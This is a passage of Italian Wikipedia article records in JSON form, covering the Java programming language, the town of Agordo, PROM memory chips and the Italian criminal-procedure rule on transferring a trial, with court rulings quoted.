method\" e, pi\u00f9 in generale, con oggetti JavaBeans.\nIn Java non esistono le funzioni: i blocchi di codice che \"non appartengono a nessun oggetto\" sono implementati come \"metodi statici\" di una certa classe e quindi sono sempre dei metodi. In Java si pone un forte accento sulla distinzione tra \"interfaccia\" e \"implementazione\" di una classe o oggetto: la prima \u00e8 l'insieme delle specifiche pubbliche di cui gli utilizzatori di un certo oggetto possono servirsi, mentre la seconda \u00e8 l'insieme delle strutture interne e delle istruzioni eseguibili che, nel complesso, adempiono a tali specifiche. Il termine \"interfaccia\" \u00e8 usato anche in un'altra accezione, spiegata nel seguito.\nEreditariet\u00e0.\n\u00c8 supportata l'\"ereditariet\u00e0\" tra tipi. Questo permette di stabilire la \"gerarchia\" delle classi che compongono un programma. Il linguaggio impone che a capo della gerarchia ci sia la nota classe codice_12.\nIn Java non esiste ereditariet\u00e0 multipla tra classi. Da un lato questo vincolo permette di avere una gerarchia di classi lineare e previene gli svantaggi introdotti dall'ereditariet\u00e0 multipla. Dall'altro esso viene agevolmente superato facendo ricorso alle \"interfacce\", ovvero a tipi analoghi alle classi, ma progettati apposta per essere estesi e soggetti a determinate restrizioni imposte dal linguaggio. Di conseguenza esse forniscono alcuni vantaggi dell'ereditariet\u00e0 multipla, come la possibilit\u00e0 che uno stesso oggetto appartenga a tipi diversi tra loro, senza gli svantaggi come l'ambiguit\u00e0 introdotta dal fatto che una classe possa ereditare implementazioni diverse di uno stesso metodo.\nDopo l'avvento di Java l'ereditariet\u00e0 singola si \u00e8 gradualmente affermata come modello standard di ereditariet\u00e0 nelle tecnologie object-oriented ed \u00e8 stata abbracciata anche dai linguaggi del framework .NET Microsoft. Dal Java 8 \u00e8 possibile sfruttare i default method delle interfacce per costruire una seppur limitata ereditariet\u00e0 multipla. Questa non intacca la linea ereditaria principale che rimane singola, ma permette di ereditare metodi da pi\u00f9 interfacce allo stesso tempo.\nAmbienti di sviluppo.\nPer sviluppare programmi in Java \u00e8 teoricamente sufficiente un qualsiasi editor di testo; in pratica, se si vuole scrivere qualcosa di pi\u00f9 del classico \"hello world\", occorre un ambiente di sviluppo integrato (IDE): esistono diversi IDE (\"Integrated Development Environment\", ambiente di sviluppo integrato), alcuni gratuiti ed altri a pagamento.\nJava Development Kit.\nSun (ora Oracle) mette a disposizione un software development kit specifico, chiamato \"Java Development Kit\" (o \"JDK\"), che include un certo numero di tool di uso comune, fra cui codice_13, codice_14, codice_15, e altri, atti ad elaborare (compilare) i file sorgenti e/o gi\u00e0 compilati, includendo dunque il Java Runtime Environment (JRE). Essi lavorano sul codice gi\u00e0 scritto e salvato sul sistema: nessuno di essi fornisce un ambiente visivo di scrittura con quelle caratteristiche che tornano utili nella realizzazione di programmi complessi come l'evidenziazione della sintassi tramite colori diversi, l'autocompletamento, o la possibilit\u00e0 di navigare tra i sorgenti tramite il click del mouse.\nAmbienti di sviluppo integrato.\nLa Oracle stessa ha promosso lo sviluppo di un ambiente di sviluppo gratuito e open source chiamato NetBeans, che pu\u00f2 essere scaricato da solo, oppure (facoltativamente) con il JDK.\nAmbiente di esecuzione.\nPiattaforma Java.\nI programmi scritti in linguaggio Java, dopo una fase iniziale di compilazione con ottenimento del cosiddetto bytecode, sono destinati all'esecuzione sulla piattaforma Java attraverso una fase di interpretazione (per questo motivo il linguaggio Java \u00e8 detto anche semi-interpretato) ad opera di una Java Virtual Machine e in esecuzione hanno accesso alle API della libreria standard. Questi due passi forniscono un livello di astrazione che permette alle applicazioni di essere interamente indipendenti dal sistema hardware su cui esse saranno eseguite. Un'implementazione della piattaforma java \u00e8 il Java Runtime Environment (JRE), necessario per l'esecuzione del programma compilato, mentre per lo sviluppo dei programmi in Java a partire dal codice sorgente \u00e8 necessario il Java Development Kit (JDK) che include anche il JRE.\nPortabilit\u00e0.\nL'esecuzione di programmi scritti in Java deve avere un comportamento simile in contesti di esecuzione diversi. Per raggiungere questo obiettivo si lavora su livelli diversi e il primo di essi \u00e8 naturalmente il linguaggio che \u00e8 stato progettato appositamente proprio per questo scopo. Ad esempio esso fornisce una sintassi unificata per definire le sezioni critiche, compito che in altri linguaggi si svolge tipicamente ricorrendo a librerie di terze parti o primitive di sistema. Inoltre praticamente non lascia spazio ai comportamenti non definiti (\"undefined behavior\") o dipendenti dall'implementazione dell'ambiente di esecuzione.\nLe specifiche di linguaggio richiedono un ambiente di esecuzione che vigila sull'esecuzione del programma e che proibisce determinate operazioni che altrimenti risulterebbero insicure. Esse fanno riferimento esplicito alla Java Virtual Machine, indicandola come il destinatario tipico del bytecode prodotto dalla compilazione iniziale di un programma Java, e infatti il compilatore codice_13 incluso nel JDK compila proprio in bytecode. Tuttavia \u00e8 possibile la compilazione verso architetture diverse, infatti \u00e8 possibile produrre codice oggetto specifico di un certo sistema operativo servendosi di un compilatore apposito, ad esempio il GNU Compiler Collection.\nIn linea di principio si dovrebbe essere in grado di scrivere il programma una sola volta e di farlo eseguire dovunque, di qui il famoso slogan di Sun: \"write once, run everywhere\". La portabilit\u00e0 \u00e8 un obiettivo tecnicamente difficile da raggiungere e il successo di Java in questo ambito \u00e8 materia di alcune controversie. Sebbene in effetti sia possibile scrivere in Java programmi che si comportano in modo coerente attraverso molte piattaforme hardware diverse, questi dipendono dalle macchine virtuali che sono programmi a s\u00e9 e che hanno inevitabilmente i loro bug, diversi l'una all'altra: per questo \u00e8 nata una parodia dello slogan di Sun \"Write once, run everywhere\" (\"Scrivi una volta, esegui ovunque\"), che \u00e8 diventato \"Write once, \"debug\" anywhere\" (\"Scrivi una volta, \"correggi\" ovunque\").\nLibrerie.\nVersioni della piattaforma.\nIl linguaggio in s\u00e9 definisce solo una minima parte delle librerie utilizzabili in combinazione con il linguaggio stesso. La parte restante \u00e8 definita dalla piattaforma su cui il programma \u00e8 eseguito. La Oracle mette a disposizione tre piattaforme ufficiali, ciascuna destinata ad ambiti diversi:\nLibrerie di terze parti.\nIn aggiunta il programmatore pu\u00f2 utilizzare un numero arbitrario di librerie di terze parti. Queste librerie, contenute in vari package, vengono utilizzate dal programmatore per utilizzare determinati metodi o attributi comuni per semplificare e uniformare i programmi e renderli maggiormente leggibili ai programmatori. Esistono numerosissimi package utilizzabili dai programmatori nel linguaggio Java. Ad esempio esistono package:\nDocumentazione.\nLe specifiche di linguaggio non impongono una determinata sintassi per la documentazione dei sorgenti, tuttavia nel tempo si \u00e8 imposto come formato standard quello riconosciuto dal tool Javadoc e regolato da specifiche ufficiali ben definite (seppure esterne al linguaggio). Questo standard prevede che la documentazione sia fornita all'interno di commenti inseriti direttamente nei sorgenti e dotati di una speciale formattazione, che viene ignorata dal compilatore, ma riconosciuta da tool specializzati. Ci\u00f2 rende facile aggiornare la documentazione, in quanto essa accompagna direttamente l'elemento sintattico da essa marcato; inoltre, durante la lettura dei sorgenti di un programma, ci\u00f2 permette di avere sott'occhio insieme le specifiche e l'implementazione dell'elemento di programma preso in considerazione.\nUn altro strumento utilizzabile per la documentazione sono le annotazioni, introdotte nella terza versione delle specifiche di linguaggio. Pur avendo una sintassi formalmente differente dai commenti Javadoc, esse sono usate per lo stesso scopo, cio\u00e8 fornire metadati che descrivono le entit\u00e0 di programma marcate. Tuttavia, mentre i commenti riportano le specifiche in maniera discorsiva (seppure strutturata), le annotazioni per loro stessa natura sono ideali per l'elaborazione tramite i tool, pi\u00f9 che per la lettura da parte di esseri umani. Inoltre, sotto opportune condizioni, le informazioni che forniscono sono compilate insieme al codice e possono essere lette perfino a tempo di esecuzione, cosa che i commenti non possono fare.\nVersioni.\nNel settembre 2017, Mark Reinhold, chief Architect della piattaforma Java, ha proposto di modificare il piano di rilascio da una release ogni due anni agli attuali sei mesi. Non tutte le versioni per\u00f2 hanno un supporto prolungato (LTS - Long Term Support), quest'ultime vengo rilasciate ogni 3 anni, attualmente sono LTS la versione 17, 11 e la 8.\nJava fu inizialmente distribuito come Java Development Kit 1.0 (JDK 1.0). Questo comprende il \"runtime Java\" (la virtual machine e le librerie di classi), e gli strumenti di sviluppo (il compilatore Java e altri strumenti). Successivamente, Sun forn\u00ec un pacchetto che comprendeva solo il runtime, chiamato Java Runtime Environment (JRE). Normalmente le persone si riferiscono ad una particolare versione di Java attraverso la versione del JDK (es. JDK 1.4) Le versioni JDK 1.2 e successive sono spesso chiamate Java 2. Per esempio, il nome ufficiale del JDK 1.4 \u00e8 Java (TM) 2 Platform, Standard Edition 1.4.\nIl linguaggio \u00e8 rimasto stabile dal JDK 1.0 al JDK 1.4.x, con la J2SE 5.0 sono state introdotte nuove funzionalit\u00e0 nel linguaggio. La libreria di classi che viene fornita con JDK \u00e8 stata progressivamente ampliata e modificata in alcune parti.\nNel settembre 2017 Mark Reinhold, responsabile capo per la piattaforma Java ha proposto di rilasciare una nuova versione di Java ogni 6 mesi, invece di ogni 2 anni come avveniva precedentemente.\nI cambiamenti nel linguaggio sono formalizzati nelle specifiche di linguaggio. Ogni nuova edizione delle specifiche integra i cambiamenti richiesti fino a quel momento tramite le Java Specification Request e conseguentemente implementati nel compilatore codice_13.\nBibliografia.\nLe diverse edizioni delle specifiche sono accessibili sul sito della Oracle. L'ultima edizione \u00e8 la seguente:"}
{"id": "26757", "revid": "45927", "url": "https://it.wikipedia.org/wiki?curid=26757", "title": "Gioco del tris", "text": ""}
{"id": "26768", "revid": "254059", "url": "https://it.wikipedia.org/wiki?curid=26768", "title": "Agordo", "text": "\u00c0gordo (\"\u00c0gort\" in ladino-veneto agordino, \"\u00c8gort\" in ladino) \u00e8 un comune italiano di abitanti della provincia di Belluno in Veneto. Costituisce il centro principale dell'Agordino all'interno della valle del Cordevole. Fu grande centro minerario con le Miniere di Valle Imperina e con la scuola mineraria, istituita nel 1867. Vi nacque Tito Livio Burattini, famoso matematico. La legge 482/1999 ha riconosciuto i comuni dell'Agordino come zona a minoranza linguistica ladina.\nGeografia fisica.\nOrografia.\nL'abitato di \u00c0gordo si estende in una conca tra i monti della Catena del San Sebastiano, l'Agn\u00e8r, la Moiazza, il monte Celo, le Pale di San Lucano, i Monti del Sole, nella valle del torrente Cordevole.\nI monti compresi nel comune sono tuttavia solo due: la Moiazza - e in particolare le cime Sud (), Nord (), Cima dei Nali (), la Cattedrale (), la Pala del Belia, Cima delle Nevere (), il ramo delle Torri del Camp - e il Framont - nello specifico la parte sud-est con il Mont Alt () e il Corno del Framont ().\nNel comune si trovano poi diversi colli: il Col di Foglia (\"C\u00f2l de F\u00f3ia\", ), a sud dell'abitato; il Col de Diegol (), sopra la localit\u00e0 di Colvignas; il Col Martin\u00e8l () sotto il Framont, i colli di Lantrago, sulla cui cresta passa il confine con il comune di La Valle Agordina.\nIdrografia.\nI principali torrenti del comune sono il Cordevole (che nasce nel comune di Livinallongo del Col di Lana sul Passo Pordoi), il R\u00f2va e il Missiaga suoi affluenti (ambedue nascono dalla Catena di San Sebastiano in comune di La Valle Agordina); quest'ultimo gli fa solo da confine con La Valle dalla localit\u00e0 di Crostolin fino al Cordevole.\nIl Rova ha un affluente nel comune di Agordo, il torrente Framont, che scende dalla Moiazza, a sua volta ricevente del torrente Bin\u00e0tega, che nasce nei pressi della localit\u00e0 omonima ().\nClima.\nIl clima di Agordo \u00e8, secondo la classificazione di Koppen, un Cfb-c, un clima temperato piovoso, senza stagione secca, con temperatura media nei mesi estivi che si aggira sui 22 gradi.\nAgordo risente in maniera rilevante della posizione geografica e dell'orografia che lo caratterizza. Essendo esposto pesantemente alle umide correnti meridionali che, provenendo dal canale del Cordevole e dalla valle del Mis, subiscono un effetto di sbarramento sulle montagne poste tra nord-est ed ovest (San Sebastiano, Framont, Moiazza, Agner, Pale di San Lucano), la media pluviometrica di Agordo \u00e8 tra le pi\u00f9 alte del veneto, con circa millimetri annui. Durante l'estate i temporali sono frequenti e la temperatura massima supera di regola i 25-26 gradi, grazie alla conformazione a conca della vallata. In inverno possono verificarsi anche nevicate significative, tipicamente da 30\u2013 per episodio, mentre la temperatura minima della stagione fredda, nelle notti serene, scende anche a -10 (punte di -15).\nOrigini del nome.\nSecondo Giovan Battista Pellegrini il toponimo nasconde un nome personale longobardo, forse \"Agihard\", sebbene si noti una discordanza tra l'accento attuale e quello del suffisso \"-h\u00e0rd\".\nAltra assonanza si ha col termine reto-romanzo di Aga \"Acqua\" che unito al suffisso \"ort\" conduce letteralmente al termine \"acquoso\" che potrebbe assumere il significato di acquitrino in riferimento ai vari ruscelli ora bonificati e deviati nel torrente Rova che un tempo passavano per l'attuale centro.\nStoria.\nStemma araldico.\nSotto un cielo nuvoloso sono rappresentate due torri guelfe merlate, al naturale, chiuse e finestrate di nero, poste sopra due scogli, moventi dai lati dello scudo e fra i quali scorre un fiume, il tutto al naturale; le torri accompagnate in capo da una stella, di sei raggi d'argento.\nIl comune conserva tuttora il decreto regio del 28 febbraio 1929 con cui Vittorio Emanuele III approva lo stemma e lo stendardo che lo contiene. Le due torri sul fiume sono un chiaro emblema dei diritti di transito fluitazione (transito di tronchi sull'acqua) vantati sul Cordevole, come pi\u00f9 in generale del diritto ad una gestione autonoma, motivo di grandi scontri con Belluno, fin dal XII secolo.\nOnorificenze.\nIl 4 agosto 1906 Agordo divenne la XX citt\u00e0 decorata con Medaglia d'Oro come \"Benemerite del Risorgimento nazionale\" per le azioni altamente patriottiche compiute dalla citt\u00e0 nel periodo del Risorgimento (che, secondo la definizione dei Savoia, \u00e8 compreso tra i moti insurrezionali del 1848 e la fine della prima guerra mondiale).\nEvoluzione storica dalle origini alla modernit\u00e0.\nAgordo e i territori dell'Agordino hanno visto nei secoli il susseguirsi di diverse dominazioni anche se non sono molte le testimonianze storiche che sono state ritrovate, probabilmente a causa di incedi e alluvioni che pi\u00f9 volte hanno danneggiato case, musei. Secondo alcuni studi sono da individuare diverse fasi: \nMonumenti e luoghi d'interesse.\nRifugi / Malghe.\nMalga Framont\nCultura.\nIstruzione.\nAgordo dispone di una scuola dell'infanzia, una scuola elementare intitolata a Tito Livio Burattini, una scuola media e dello storico Istituto Tecnico Industriale Minerario \"Umberto Follador\". \nL'istituto minerario.\nNacque nel 1867 come Istituto tecnico industriale minerario (l'attivit\u00e0 estrattiva era uno dei settori trainanti dell'economia agordina), e s'\u00e8 ampliato nel 1962 con l'aggiunta dell'indirizzo chimico. A partire dal 1990 la scuola si \u00e8 evoluta in istituto d'istruzione superiore, comprendendo un liceo scientifico, un Istituto statale d'arte, un IPSIA e un IPSSAR, quest'ultimo con sede a Falcade.\nEconomia.\nAgricoltura.\nLo spazio dedicato all'agricoltura ad Agordo non \u00e8 particolarmente rilevante e perlopi\u00f9 \u00e8 costituito da orti di privati, anche se sono presenti alcune aziende agricole.\nIndustria.\nAgordo \u00e8 sede di Luxottica, un'azienda leader mondiale di produzione di occhiali da sole e da vista.\nSport.\nIl comune \u00e8 stato scelto come sede di partenza della 16\u00aa tappa del Giro ciclistico d'Italia 2007 (Agordo-Lienz di ).\nDal 1990, ogni anno in luglio si svolge un'edizione della corsa podistica su strada \"Le miglia di Agordo\". Grandi campioni dell'atletica hanno gi\u00e0 partecipato a questa importante manifestazione, che si svolge fra gli stretti vicoli del centro storico di Agordo. Nel 2007 si \u00e8 svolta la 16\u00aa edizione di questa manifestazione valida come quinta prova del Grand Prix Strade d'Italia e come settima prova del Grand Prix Giovani.\nAd Agordo gioca la squadra pi\u00f9 titolata dell'hockey su ghiaccio femminile italiano, l'Hockey Club Agordo, dieci volte campione d'Italia (1992, 1993, 1994, 1996, 2001, 2002, 2003, 2007, 2008 e 2009).\nLa principale formazione calcistica locale \u00e8 la \"U.S.D. Agordina\", affiliata al ."}
{"id": "26770", "revid": "1805762", "url": "https://it.wikipedia.org/wiki?curid=26770", "title": "Programmable Read Only Memory", "text": "Una Programmable Read Only Memory (PROM, \"memoria di sola lettura programmabile\"), detta anche One Time Programmable (OTP), nell'elettronica digitale, \u00e8 una tipologia di memoria ROM a stato solido programmabile una sola volta.\nNasce come evoluzione della ROM a maschera ed \u00e8 volta a ridurne i notevoli costi di produzione dovuti alla progettazione delle maschere per l'impiantazione ionica. La ROM a maschera richiede infatti di cambiare l'intera linea di produzione ogni qual volta fosse necessario modificare anche una minima parte dei circuiti logici. La PROM invece contiene dei fusibili, che possono essere bruciati secondo le esigenze per implementare i circuiti logici richiesti, e richiede un'apparecchiatura speciale per le operazioni di scrittura.&lt;br&gt;Esiste inoltre una tipologia di PROM in cui al posto dei fusibili vengono usati degli antifusibili, nei quali il collegamento viene creato invece di venire bruciato."}
{"id": "26775", "revid": "460080", "url": "https://it.wikipedia.org/wiki?curid=26775", "title": "Rimessione del processo", "text": "La rimessione del processo \u00e8 un istituto del diritto processuale penale italiano disciplinato dagli artt. 45 e ss. del italiano vigente, per cui gravi situazioni esterne al processo possono giustificarne lo spostamento di sede.\nNel codice di procedura penale italiano.\nL'articolo 45 c.p.p. prevede che \"in ogni stato e grado del processo di merito, quando gravi situazioni locali, tali da turbare lo svolgimento del processo e non altrimenti eliminabili, pregiudicano la libera determinazione delle persone che partecipano al processo ovvero la sicurezza o l'incolumit\u00e0 pubblica, o determinano motivi di legittimo sospetto, la Corte di Cassazione, su richiesta motivata del procuratore generale presso la Corte di appello o del pubblico ministero presso il giudice che procede o dell'imputato, rimette il processo ad altro giudice, designato a norma dell'articolo 11\".\nTale istituto si pone a garanzia del corretto svolgimento del processo, dell'imparzialit\u00e0 del giudice e della libera attivit\u00e0 difensiva delle parti. Si differenzia dalla ricusazione disciplinata dall'art. 37 c.p.p. in quanto derogando al principio costituzionale del giudice naturale (quello del \"locus commissi delicti\") e quindi assumendo il connotato dell\"'eccezionalit\u00e0\", necessita per poter essere eccepito o rilevato di \"gravi situazioni esterne al processo\" nelle sole ipotesi in cui queste \"non siano altrimenti eliminabili\". Inoltre mentre per la domanda di ricusazione \u00e8 competente il giudice superiore, per decidere sull'ammissibilit\u00e0 della rimessione lo \u00e8 solo la Corte di Cassazione.\nStoria.\nLa rimessione \u00e8 istituto da sempre presente negli ordinamenti processuali penali italiani. Sia nel codice del 1913 che in quello cosiddetto Rocco del 1930 il legislatore ne prevedeva l'applicazione per motivi di pubblica sicurezza e, con possibilit\u00e0 di eccepimento a carico del solo imputato, nei casi di \"legittimo sospetto\". Tuttavia l'entrata in vigore della Costituzione della Repubblica che introduce esplicitamente all'art. 25 1\u00b0comma il principio del giudice naturale precostituito, nonch\u00e9 alcuni abusi giurisprudenziali dell'istituto (celebre l'episodio relativo alla rimessione da Milano a Catanzaro del processo per la strage di piazza Fontana), spinsero il legislatore del 1988 ad escludere nel nuovo codice la previsione del legittimo sospetto. Ma la modifica dell'art. 111 della Costituzione (legge costituzionale 23 novembre 1999, n. 2, cosiddetto \"del giusto processo\") in concorso con un rinvigorito garantismo del governo in carica facente leva sul diritto di difesa sancito dall'art. 24 comma 2 Cost, hanno portato alla reintroduzione mediante la legge 7 novembre 2002 n. 248 (detta \"legge Cirami\" dal nome del primo firmatario), della rimessione per legittimo sospetto.\nIn definitiva si pu\u00f2 affermare che alla luce delle recenti vicissitudini del processo penale in ambito costituzionale, la politica legislativa dovr\u00e0 sempre tenere fermo il punto di equilibrio fra i contrapposti principi garantistici: occorrer\u00e0 cio\u00e8 conciliare le ipotesi nelle quali si realizzi una concreta messa in pericolo dell'imparzialit\u00e0 del giudice o dei diritti delle parti, magari tassativizzando in modo pi\u00f9 chiaro le ipotesi di applicazione dell'istituto cos\u00ec da ridurre al minimo gli spazi di discrezionalit\u00e0 di chi sia chiamato ad emettere il giudizio circa la necessit\u00e0 della \"traslatio iudicii\", ed il principio per cui per nessuno possa essere giudicato da un giudice scelto successivamente alla commissione del presunto reato, realizzabile magari diminuendo gli spazi di decisionalit\u00e0 arbitraria della Corte di Cassazione. Occorrer\u00e0 cio\u00e8 sempre che la precostituzione legale che il provvedimento di rimessione fa venire meno, sia sostituita con una seconda predeterminazione altrettanto legale.\nNel Codice di procedura penale del 1930.\nNel vecchio Codice di procedura penale italiano del 1930 (ora abrogato) l'istituto della rimessione era disciplinato all'art. 55. Tale disciplina prevedeva due ipotesi alternative, in presenza delle quali la Corte di Cassazione avrebbe potuto disporre le rimessione del procedimento: le ipotesi (i) di \"gravi motivi di ordine pubblico\", e (ii) di \"legittimo sospetto\". Inoltre, qualora la Corte di Cassazione avesse pronunciato l'ordinanza di rimessione, alla stessa Corte alla competeva di stabilire, con la medesima ordinanza, in quale nuova sede si sarebbe celebrato il processo. Si trattava, come \u00e8 facile intuire, di un potere discrezionale di eccezionale ampiezza, che negli anni produsse molti casi discutibili (le cronache giudiziarie riportano alcuni celebri casi di rimessione per alcuni processi per delitti di mafia negli anni \u201860, per il processo per la strage di Piazza Fontana, per quello sul disastro del Vajont e per quello relativo alle schedature Fiat). Il problema della possibile incostituzionalit\u00e0 dell'art. 55 del Codice del 1930, alla stregua del principio del giudice naturale precostituito per legge, si pose fin da tempi remoti. Con ordinanza della Corte di Cassazione del 27 novembre 1962 fu sollevata questione di legittimit\u00e0 costituzionale dell'istituto della rimessione. La Corte Costituzionale si pronunci\u00f2 con sentenza 27 aprile 1963, n. 50. Con tale sentenza, il Giudice delle leggi dichiar\u00f2 infondata la questione di legittimit\u00e0 costituzionale relativa all'art. 55, lo fece, tuttavia, con una sentenza interpretativa di rigetto, nella quale sottolineava la necessit\u00e0 di un'interpretazione dell'istituto che ne sancisse il carattere eccezionale e ne riconducesse la applicabilit\u00e0 \"necessariamente ed esclusivamente all'accertamento obiettivo dei fatti ipotizzati dalla legge\". La Corte, sottolinea la necessit\u00e0 dell'esistenza di un istituto con questi contenuti, stante la considerazione che questo mira \"a soddisfare le gravi esigenze che, al pari del divieto di distogliere alcuno dal giudice naturale precostituito per legge, risponde ai principi costituzionalmente rilevanti dell'indipendenza e dell'imparzialit\u00e0 dell'organo giurisdizionale, e della tutela del diritto di difesa dell'imputato\", tuttavia, la Cassazione \u00e8 richiamata ad un'interpretazione restrittiva delle ipotesi stabilite dalla norma, stante il suo carattere di rimedio eccezionale predisposto dall'ordinamento.\nTale pronuncia del Giudice delle leggi, trova tuttavia critica la dottrina del tempo, che continua a ritenere che sussista una carenza di tassativit\u00e0 della norma, pur se interpretata in senso restrittivo.\nNel Codice di procedura penale del 1988.\nLa riforma del Codice di procedura penale, viene avviata con la delega conferita con legge 16 febbraio 1987, n. 81. Le disposizioni di tale legge, riprendono in maniera piuttosto fedele la norma del Codice in via di abrogazione, la disposizione n. 17 dell'art. 2 comma 1 richiede la \"previsione della rimessione, anche su richiesta dell'imputato, per gravi ed oggettivi motivi di ordine pubblico o per legittimo sospetto, e individuazione del nuovo giudice competente secondo criteri predeterminati\". Rispetto al Codice del 1930, i gravi motivi di ordine pubblico sono ora qualificati come \"oggettivi\", inoltre, si prevede che l'individuazione della nuova sede non spetti pi\u00f9 discrezionalmente alla Corte di Cassazione, ma avvenga secondo criteri predeterminati. Tale previsione, suscita comunque le critiche della dottrina, che sottolinea come ancora una volta manchi un'adeguata tipizzazione delle ipotesi che possono dare luogo ad ordinanza di rimessione.\nAnche a seguito di tale dibattito, il testo del Codice di procedura penale approvato con D.P.R. 22 settembre 1988, n. 447, abbandona la formulazione propria del vecchio codice e della legge delega, per adottare un'elencazione casistica maggiormente definita, specificando la definizione generale data dalla legge delega in una serie di ipotesi tipizzate: nel regno del Codice del 1988 si pu\u00f2 dar luogo a rimessione \"quando la sicurezza o l'incolumit\u00e0 pubblica ovvero la libert\u00e0 di determinazione delle persone che partecipano al processo sono pregiudicate da gravi situazioni locali tali da turbare lo svolgimento del processo e non altrimenti eliminabili\". Si prevede che la nuova sede del processo sia determinata con le modalit\u00e0 di cui all'art. 11 c.p.p..\nCoerentemente con il progetto legislativo, la giurisprudenza degli anni \u201890 offre una lettura restrittiva dell'istituto, nella lettura giurisprudenziale si afferma che la rimessione \u00e8 istituto che ha carattere di eccezionalit\u00e0, in conseguenza di ci\u00f2, \u00e8 necessario darne un'interpretazione restrittiva.\nL'ordinanza Cassazione penale, sez. I, 23 gennaio 1992, caso Di Muro, afferma: \"l'istituto della rimessione [\u2026] pur non comportando deroga al principio costituzionale del giudice naturale, ha nondimeno un carattere eccezionale, per cui pu\u00f2 trovare applicazione solo in presenza di situazioni di tale natura e gravit\u00e0 da rendere pressoch\u00e9 inevitabile la loro negativa incidenza sul sereno e corretto svolgimento del processo\". Quasi in termini Cassazione penale, sez. I, 5 luglio 1995, n. 4045, caso Fiandrotti e altro: \"l'istituto della rimessione ha carattere eccezionale e, come tale, pu\u00f2 trovare applicazione solo in presenza di gravi situazioni locali, non altrimenti eliminabili, che possano incidere in modo concreto sulle libert\u00e0 di determinazione delle persone partecipanti al processo ovvero sulla serenit\u00e0 ed imparzialit\u00e0 dell'organo giudicante\"; esattamente in termini: Cassazione penale, sez. I, 20 settembre 1995, n. 4462, caso Craxi.\nIn tutta la giurisprudenza del periodo, comunque, viene riaffermata la eccezionalit\u00e0 dell'istituto delle rimessione, proprio in funzione del suo carattere derogatorio rispetto al principio del giudice naturale e della precostituzione per legge. Stante, di conseguenza, la interpretazione restrittiva della norma, la Cassazione individua una serie di criteri per tipizzare strettamente il ricorrere delle gravi situazioni locali.\nLa giurisprudenza.\nIn primo luogo si enuclea il principio per cui le gravi situazioni locali rilevanti ai fini della rimessione, devono rigorosamente essere di carattere extraprocessuale, dovendosi negare qualsiasi rilevanza a situazioni di carattere endoprocessuale. Ai fini della rimessione, il rapporto fra ci\u00f2 che \u00e8 esterno al processo \u00e8 ci\u00f2 che ne fa parte \u00e8 stato definito in dottrina come un rapporto di circolarit\u00e0. Per aversi una situazione tale da giustificare la traslatio iudicii, occorre provare tanto la situazione locale, che deve necessariamente essere esterna al processo, quanto la sua negativa incidenza all'interno del processo. La prova di una sola di queste due circostanze \u00e8 insufficiente.\nLe situazioni tali da recare pregiudizio al corretto svolgimento del processo, devono avere forza tale da condizionarne il sereno svolgimento, ma al tempo stesso devono originarsene all'esterno, sul territorio nel quale ha sede l'ufficio giudiziario nel quale si celebra il processo.\nIn particolare, la Corte di Cassazione ha sempre negato con forza che potesse attribuirsi un qualche valore, ai fini della rimessione, a decisioni assunte dal Giudice nell'ambito del procedimento, come pure a condotte tenute dal P.M. nel procedimento o in sede di indagine. Questo, anche in considerazione del fatto che se tale rilevanza fosse stata ammessa, la rimessione sarebbe andata a sovrapporsi all'ordinario sistema delle impugnazioni. Nell'ordinanza relativa al caso Craxi (cfr. sopra) si \u00e8 affermato che \"non pu\u00f2 costituire causa di rimessione il fatto che il collegio giudicante abbia adottato decisioni non condivise dall'imputato e dai suoi difensori. Per rimuovere decisioni eventualmente non corrette sotto il profilo giuridico, infatti, vi \u00e8 sempre il rimedio dell'impugnazione\"; e ancora \"deve escludersi che la rimessione possa operare sol perch\u00e9, nella sede naturale del processo, siano stati adottati provvedimenti giudiziari ritenuti non condivisibili (ma rientranti, peraltro, nell'ambito del vigente sistema processuale), ovvero si affermi, sulla base di mere congetture e illazioni, la possibilit\u00e0 di condizionamenti dell'organo giudicante da parte della pubblica accusa, in relazione a fatti pregressi ed esauriti\". Nell'ordinanza Cassazione penale, Sez. I, 23 febbraio 1998, n. 1125, caso Berlusconi, \u00e8 stato posto in evidente che \"l'art. 45 c.p.p. chiarisce infatti che le \u2018gravi\u2019 situazioni che legittimano la rimessione debbono essere, prima di tutto, di carattere locale, cio\u00e8 esterne al processo, dovendo riconnettersi all'ambiente circostante la sede dell'organo giudicante e quindi risultare da particolari anomalie dei contesto locale, tali da influire negativamente sul corretto esercizio della giurisdizione \".\nAnaloghe motivazioni sono utilizzare relativamente alle condotte del P.M., anche queste condotte devono essere considerate come endoprocessuali, e con l'ulteriore considerazione che, la posizione di pubblico accusatore, da questo rivestita, rende intrinseco alla dialettica processuale un suo atteggiamento in qualche modo \"ostile\" nei confronti dell'imputato. In Cassazione penale, sez. I, 10 marzo 1997, n. 1952, caso Pomicino: \"non ha rilevanza ai fini dell'applicazione dell'istituto il dedotto \u2018accanimento\u2019 usato nei confronti dell'imputato dal p.m., data la natura di parte rivestita dall'organo di accusa; n\u00e9 il coinvolgimento del p.m. in un processo penale riguardanti illeciti nella conduzione delle indagini, non integrando ci\u00f2 una \u2018grave situazione locale\u2019 tale da turbare lo svolgimento del processo\"; nel caso Fiandrotti (cfr. sopra): \"nessuna causa di rimessione pu\u00f2 ricollegarsi al comportamento degli organi inquirenti del p.m., quando non risulti il bench\u00e9 minimo elemento, ancorato a concrete circostanze di fatto, che lasci desumere la sussistenza di ostacoli alla libera determinazione dello stesso p.m. Del resto va tenuto presente che nel vigente sistema processuale il p.m. riveste pur sempre la qualit\u00e0 di parte, con tutte le implicazioni che ci\u00f2 comporta anche in ordine alle strategie processuali adottate, tese al conseguimento di una sollecita raccolta degli elementi di accusa, onde evitare il pericolo di inquinamento delle fonti di prova\"; in Cassazione penale, sez. I, 13 ottobre 1997, n. 5682, caso Manganaro: \"ai fini della rimessione del processo, deve escludersi rilievo autonomo agli atteggiamenti assunti o alle opinioni espresse dal p.m. nel corso dell'attivit\u00e0 investigativa propria delle indagini preliminari, giacch\u00e9 questi, nel vigente sistema riveste pur sempre la qualit\u00e0 di parte, le cui strategie investigative o processuali non si sottraggono comunque al doveroso controllo del giudice, sicch\u00e9 la temuta parzialit\u00e0 dell'ufficio del p.m., o addirittura del titolare dell'ufficio della procura della Repubblica, non pu\u00f2 giammai, di per s\u00e9, essere considerata ragione di turbativa del sereno svolgimento del processo, idonea a legittimare la \"translatio judicii\", a meno che l'atteggiamento persecutorio del p.m., superando i limiti dell'ordinaria dialettica processuale, sia suscettibile di produrre riflessi negativi sulla serenit\u00e0 e correttezza del giudizio\".\nIl requisito della gravit\u00e0, delle situazioni locali idonee a turbare il regolare svolgimento del processo viene valutato con estremo rigore dalla Cassazione, nella logica dell'eccezionalit\u00e0 